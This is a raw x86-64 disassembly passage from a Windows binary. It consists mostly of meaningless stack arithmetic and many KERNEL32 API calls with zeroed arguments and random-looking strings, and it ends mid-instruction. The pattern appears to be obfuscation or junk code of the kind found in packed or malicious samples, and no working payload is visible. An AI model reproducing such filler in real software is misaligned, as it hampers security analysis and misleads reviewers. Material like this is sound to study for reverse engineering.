mov rcx, qword [rsp + 0xcd28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa5b8], rax
mov rax, qword [rsp + 0xcaa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdcd8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xdd00]
mov word [rcx], ax
mov rax, qword [rsp + 0xce80]
mov rcx, qword [0x1401c8a30]
or rcx, rax
mov rax, rcx
mov qword [0x1401c7180], rax
mov rax, qword [rsp + 0xc8c8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcf48]
mov qword [rsp + 0xe330], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe330]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6708], eax
lea rcx, [rsp + 0x1d390]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xca88]
movzx eax, byte [rax]
mov byte [rsp + 0x3fa], al
movsx eax, word [0x1401c8ce8]
movsx ecx, word [rsp + 0x20dc]
sub eax, ecx
mov word [rsp + 0x1dd4], ax
movzx eax, word [rsp + 0x1e2c]
mov rcx, qword [rsp + 0xdcd8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1eac], ax
lea rcx, str.V1E2wk_QwKF_Inc.U4TLaSLR
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x25f0], ax
mov rcx, qword [rsp + 0xd5c0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x67a4], eax
movzx ecx, word [rsp + 0x244c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2358], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xe338], rax
mov rax, qword [rsp + 0xdfb8]
mov rcx, qword [rsp + 0xd710]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6970], eax
mov rax, qword [rsp + 0xcd18]
movzx eax, byte [rax]
mov byte [rsp + 0x3fb], al
mov rax, qword [rsp + 0xdca8]
mov rcx, qword [rsp + 0x9750]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa270], rax
movsx eax, word [rsp + 0x11bc]
mov rcx, qword [rsp + 0xcd08]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2040], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
movzx eax, word [rsp + 0x1678]
mov rcx, qword [rsp + 0xd470]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401c7120], ax
lea rcx, [rsp + 0x1d7f0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov rax, qword [rsp + 0xce40]
mov qword [rsp + 0xe340], rax
mov rax, qword [rsp + 0xd690]
mov rax, qword [rax]
mov rcx, qword [0x1401c8aa0]
mov qword [rsp + 0xe348], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe348]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc828], rax
mov rax, qword [rsp + 0xe0c0]
mov rcx, qword [rsp + 0xd400]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa9a0], rax
lea rcx, [rsp + 0x1d570]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xce88]
movsx eax, word [rax]
mov rcx, qword [0x1401c8ce0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xd5e0]
mov word [rcx], ax
mov rax, qword [rsp + 0xcea8]
mov rcx, qword [rsp + 0xd930]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xdfc8], rax
xor r9d, r9d
lea r8, [rsp + 0xd770]
mov rdx, qword [rsp + 0xc600]
mov rcx, qword [rsp + 0xc470]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x667c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x68dc], eax
mov rcx, qword [rsp + 0xc8a8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx ecx, word [rsp + 0x23fc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x234c], ax
mov rax, qword [rsp + 0xca30]
movzx eax, byte [rax]
mov byte [rsp + 0x3fc], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x205d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, [rsp + 0x205d8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rcx, qword [rsp + 0xcec8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xde38]
mov ecx, dword [rsp + 0x5dcc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5a1c], eax
lea rax, [rsp + 0x5bfc]
mov qword [rsp + 0xe350], rax
mov rax, qword [rsp + 0xd148]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b0]
or eax, ecx
mov byte [rsp + 0x173], al
lea rcx, [rsp + 0x20848]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [rsp + 0x2048]
mov word [0x1401c8e3c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
movzx eax, word [rsp + 0x880]
mov rcx, qword [rsp + 0xc4a8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x23a4], ax
movzx eax, word [rsp + 0x25b8]
movzx ecx, word [rsp + 0x2114]
sar eax, cl
mov word [rsp + 0x1298], ax
mov rax, qword [rsp + 0xc3c8]
mov rcx, qword [0x1401c8dc8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb210], rax
mov rax, qword [rsp + 0xd2e0]
mov qword [rsp + 0xe358], rax
mov rax, qword [rsp + 0xc3c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6820]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc400]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc8e8]
movzx eax, byte [rax]
mov byte [rsp + 0x3fd], al
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov rcx, qword [rsp + 0xda30]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6624], eax
movsx eax, word [rsp + 0x11bc]
movsx ecx, word [rsp + 0x1dac]
add eax, ecx
mov word [rsp + 0xbdc], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x697c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6920], eax
movzx ecx, word [rsp + 0x2250]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x25a0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xe270]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6718], eax
movzx eax, word [rsp + 0x25ac]
movzx ecx, word [rsp + 0x2490]
add eax, ecx
mov word [rsp + 0x858], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov rax, qword [rsp + 0xd1d8]
mov rcx, qword [rsp + 0xd738]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401c7208], rax
movzx eax, word [rsp + 0x21f8]
movzx ecx, word [rsp + 0x209c]
add eax, ecx
mov word [rsp + 0xd8c], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rax, qword [rsp + 0x9530]
mov rcx, qword [rsp + 0xb970]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xe060], rax
lea rcx, [0x1401aca38]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x25f4], ax
lea rax, [rsp + 0xaeb8]
mov qword [rsp + 0xe360], rax
mov rcx, qword [rsp + 0xdb78]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x64a8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rsp + 0xcfd8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6980], eax
mov rax, qword [rsp + 0xc430]
mov rcx, qword [rsp + 0xc6f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6978], eax
movzx ecx, word [rsp + 0x2308]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2028], ax
movsx eax, byte [rsp + 0x383]
movsx ecx, byte [rsp + 0x385]
or eax, ecx
mov byte [rsp + 0x3b9], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
lea rcx, [rsp + 0x1fca8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0xcb]
mov qword [rsp + 0xe368], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov rax, qword [rsp + 0xc728]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcf48]
mov qword [rsp + 0xe370], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe370]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xe350]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd240]
mov qword [rsp + 0xe378], rax
mov rax, qword [rsp + 0xdb20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xca78]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1401c8ab8], ax
movsx eax, word [rsp + 0x22b0]
mov rcx, qword [rsp + 0xdf60]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x24c8], ax
mov rcx, qword [rsp + 0xcd30]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6774], eax
movzx eax, word [0x1401c71c0]
movzx ecx, word [rsp + 0x21d8]
or eax, ecx
mov word [rsp + 0x13b4], ax
lea rcx, [rsp + 0x20878]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x25a4]
mov rcx, qword [rsp + 0xc7b8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1074], ax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
movsx eax, byte [rsp + 0x3a8]
mov rcx, qword [rsp + 0xd608]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x377], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rax, qword [rsp + 0xdcb8]
mov eax, dword [rax]
mov dword [rsp + 0x6984], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [rsp + 0xc9f8]
mov rcx, qword [rsp + 0xcb20]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xda58], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6780], eax
movsx eax, word [rsp + 0xb84]
movsx ecx, word [rsp + 0x2434]
sub eax, ecx
mov word [rsp + 0x20e8], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xe380], rax
lea rax, [rsp + 0x2210]
mov qword [rsp + 0xe388], rax
mov rcx, qword [rsp + 0xd900]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xdde0]
mov rcx, qword [rsp + 0x9538]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401c7128], rax
movzx ecx, word [rsp + 0x24c4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x24dc], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov rax, qword [rsp + 0xcf30]
cqo
idiv qword [rsp + 0xb768]
mov qword [rsp + 0xa048], rax
mov rax, qword [rsp + 0xd648]
mov rax, qword [rax]
mov qword [rsp + 0xe390], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov rcx, qword [rsp + 0xcd58]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
lea rcx, [rsp + 0x20158]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, [rsp + 0x1d868]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0xc680]
mov rcx, qword [rsp + 0xd118]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xca00]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
movzx eax, word [rsp + 0x2534]
mov rcx, qword [rsp + 0xd578]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc74], ax
mov rax, qword [rsp + 0xe350]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6518]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x66a4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x66a8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movzx eax, byte [rsp + 0x3e8]
mov rcx, qword [rsp + 0xd008]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x221], al
movzx eax, byte [rsp + 0x385]
mov byte [rsp + 0x3fe], al
mov rax, qword [rsp + 0xc550]
mov rcx, qword [rsp + 0xcd28]
mov qword [rsp + 0xe398], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe398]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xcf60], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xe3a0], rax
xor r9d, r9d
lea r8, [rsp + 0xd9a0]
mov rdx, qword [rsp + 0xd8c8]
mov rcx, qword [rsp + 0xd480]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x66b4], eax
mov rax, qword [rsp + 0xc570]
mov eax, dword [rax]
mov dword [0x1401c8e40], eax
mov rax, qword [0x1401c8b18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2148]
sub eax, ecx
mov word [rsp + 0x1470], ax
mov rax, qword [rsp + 0xd9f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe0c8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2460], ax
mov rax, qword [0x1401c8d08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdfd0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1074], ax
mov rax, qword [rsp + 0x94c8]
mov qword [rsp + 0xe3a8], rax
lea rcx, [rsp + 0x208a8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xd870]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5e38]
shl eax, cl
mov dword [rsp + 0x66a0], eax
mov rax, qword [rsp + 0xd618]
mov rax, qword [rax]
mov rcx, qword [0x1401c71f0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb710], rax
lea rdx, [rsp + 0x25f48]
mov rcx, qword [rsp + 0xc958]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x637c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.c2ML4h2eP4vFylroMpvGOlMnh
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xe3b0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xe058], rax
mov rax, qword [rsp + 0xc8f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd090]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xd7b0]
mov byte [rcx], al
mov rax, qword [rsp + 0xc698]
movsx eax, word [rax]
mov rcx, qword [0x1401c8d38]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb84], ax
mov rax, qword [rsp + 0xd580]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e5c]
sub eax, ecx
mov word [0x1401c711c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [rsp + 0xca98]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xa680]
mov qword [rsp + 0xe3b8], rax
movzx eax, word [rsp + 0x2390]
movzx ecx, word [0x1401c8bbc]
and eax, ecx
mov word [rsp + 0x257c], ax
lea rax, [rsp + 0x30b]
mov qword [rsp + 0xe3c0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xe3c8], rax
mov rax, qword [rsp + 0xc6a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6770]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc728]
mov dword [rcx], eax
lea rcx, [rsp + 0x1fe88]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xdfb8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd660]
mov qword [rsp + 0xe3d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe3d0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6798], eax
mov r9d, 2
lea r8, [rsp + 0xd160]
mov rdx, qword [rsp + 0xda80]
mov rcx, qword [rsp + 0xc270]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6884], eax
lea rcx, str.Zs_D0.NdNPmWFT4
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x25f8], ax
lea rcx, [rsp + 0x1d4a8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x64c8], eax
movzx eax, byte [rsp + 0x3a5]
mov byte [rsp + 0x3ff], al
mov rax, qword [rsp + 0xc910]
mov rcx, qword [rsp + 0xcb58]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xdea8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov rax, qword [rsp + 0xe320]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe280]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1684], ax
mov rax, qword [rsp + 0xc980]
movzx eax, word [rax]
mov word [0x1401c8e44], ax
mov rax, qword [rsp + 0xe1e8]
mov rcx, qword [rsp + 0xac70]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd8b0], rax
lea rax, [rsp + 0xcdf8]
mov qword [rsp + 0xe3d8], rax
movsx eax, word [rsp + 0x1608]
mov rcx, qword [rsp + 0xdf60]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd5e0]
mov word [rcx], ax
movzx eax, word [rsp + 0x2018]
mov rcx, qword [rsp + 0xca48]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x257c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xda30]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov r9d, 2
lea r8, [rsp + 0xc318]
mov rdx, qword [rsp + 0xc4d8]
mov rcx, qword [rsp + 0xc470]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6988], eax
mov eax, dword [rsp + 0x64a0]
mov dword [rsp + 0x698c], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc348], rax
movsx eax, byte [rsp + 0x3d9]
imul eax, eax, 0x2b
mov byte [rsp + 0x29e], al
mov r9d, 2
lea r8, [rsp + 0xcc78]
mov rdx, qword [rsp + 0xe3e0]
mov rcx, qword [rsp + 0xe080]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6428], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6564], eax
movzx ecx, word [rsp + 0x2388]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2088], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x67d4], eax
mov rax, qword [rsp + 0xd418]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc820]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa640], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xcc38]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401c8b58]
shl rax, cl
mov rcx, qword [rsp + 0xcf58]
mov qword [rcx], rax
movsx eax, word [rsp + 0x212c]
movsx ecx, word [rsp + 0x2118]
sar eax, cl
mov word [0x1401c7210], ax
mov rax, qword [rsp + 0xd600]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc900]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2524], ax
mov rcx, qword [rsp + 0xdc40]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6778], eax
mov eax, dword [rsp + 0x67ac]
mov dword [rsp + 0x6990], eax
movzx eax, byte [rsp + 0x117]
movzx ecx, byte [rsp + 0x3aa]
add eax, ecx
mov byte [rsp + 0x187], al
mov rax, qword [0x1401c8aa8]
mov rax, qword [rax]
mov qword [rsp + 0xe3e8], rax
lea rdx, [rsp + 0x26530]
mov rcx, qword [rsp + 0xd0d8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6994], eax
mov rax, qword [rsp + 0xd590]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x37e]
add eax, ecx
mov rcx, qword [rsp + 0xce08]
mov byte [rcx], al
mov rax, qword [rsp + 0xcf50]
mov rcx, qword [rsp + 0xc658]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xd718], rax
mov r9d, 0x1a61
xor r8d, r8d
lea rdx, [rsp + 0xdab8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x654c], eax
mov rax, qword [rsp + 0xd680]
mov eax, dword [rax]
mov ecx, dword [0x1401c8a18]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x570c], eax
movzx ecx, word [rsp + 0x1f08]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x25fc], ax
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2340]
sub eax, ecx
mov rcx, qword [rsp + 0xc9f0]
mov word [rcx], ax
mov edx, 0x1fa9
mov rcx, qword [rsp + 0xc5f0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6324], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6638], eax
movzx eax, word [rsp + 0x21a8]
mov rcx, qword [rsp + 0xc558]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1401c71cc], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x693c], eax
lea rax, [rsp + 0x9c00]
mov qword [rsp + 0xe3f0], rax
mov rax, qword [rsp + 0xd4b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc6d8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x25b0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x1cac]
mov word [rsp + 0x2600], ax
mov rax, qword [rsp + 0xd980]
mov rcx, qword [rsp + 0xb210]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xca00]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x379]
mov rcx, qword [rsp + 0xc328]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x36a], al
mov rcx, qword [rsp + 0xc998]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x65f0], eax
mov rcx, qword [rsp + 0xda30]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x68c0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [0x1401c8e40]
imul eax, dword [rsp + 0x58b8]
mov dword [rsp + 0x5714], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
lea rcx, [rsp + 0x20758]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xd7a8]
mov rcx, qword [rsp + 0xc378]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xddd0], rax
movzx eax, word [rsp + 0x1298]
mov word [rsp + 0x2604], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xe3f8], rax
lea rdx, [rsp + 0x25f48]
mov rcx, qword [rsp + 0xd0c8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x68d8], eax
mov rax, qword [0x1401c8c28]
mov qword [0x1401c8e48], rax
mov rax, qword [rsp + 0xce00]
mov rcx, qword [rsp + 0xc6a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc628]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd500]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe000]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1b0], al
movzx eax, word [rsp + 0x23f8]
mov word [rsp + 0x2608], ax
movzx eax, word [rsp + 0x1bb8]
movzx ecx, word [rsp + 0x24cc]
shl eax, cl
mov word [rsp + 0x222c], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6444], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [rsp + reloc.SHELL32.dll_SHChangeNotification_Unlock]
movsx ecx, byte [rsp + 0x3a2]
sar eax, cl
mov byte [rsp + 0x307], al
mov rax, qword [rsp + 0xa030]
mov rcx, qword [rsp + 0xc488]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xce58]
mov qword [rcx], rax
mov r9d, 2
lea r8, [rsp + 0xd208]
mov rdx, qword [rsp + 0xe0a0]
mov rcx, qword [rsp + 0xc270]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6848], eax
lea rcx, [rsp + 0x20758]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rcx, [rsp + 0x208d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov rax, qword [rsp + 0xdfb8]
mov ecx, dword [rsp + 0x6508]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x685c], eax
lea rax, [rsp + 0xda0]
mov qword [rsp + 0xe400], rax
mov rcx, qword [rsp + 0xd548]
